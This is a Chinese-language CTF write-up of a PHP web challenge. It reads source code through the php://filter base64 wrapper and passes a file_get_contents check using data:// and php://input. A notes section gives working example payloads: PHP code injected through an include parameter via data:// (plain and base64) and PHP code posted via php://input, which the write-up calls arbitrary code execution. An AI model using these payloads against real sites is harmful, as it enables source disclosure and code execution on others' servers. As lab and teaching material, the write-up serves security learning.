根据题目提示
我们直接用伪协议读取hint.php即可
php://filter/read=convert.base64-encode/resource=hint.php
我们把得到的编码拿去base64解密一下得到
那我们直接去访问一下
也可以用伪协议继续读取,只不过最后要base64解密一下
php://filter/read=convert.base64-encode/resource=test2222222222222.php
我们简单分析一下代码
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
文件包含了一个flag.php,如果我们get传入一个a且不为空,a参数利用file_get_contents()参数只读形式打开,打开内容要和I want flag 字符串内容相匹配,才能输出我们想要的flag
第一种解法
test2222222222222.php?a=data://text/plain,I want flag
得到flag
第二种解法
test2222222222222.php?a=php://input
然后post个 I want flag 的值上去
知识点:
file://伪协议 (读取文件内容)
通过file协议可以访问本地文件系统,读取到文件的内容
data://(读取文件)
和php伪协议的input类似,碰到file_get_contents()来用
data:// 数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
示例用法:
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
php://input(任意代码执行)
遇到file_get_contents()要想到用php://input绕过。
php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>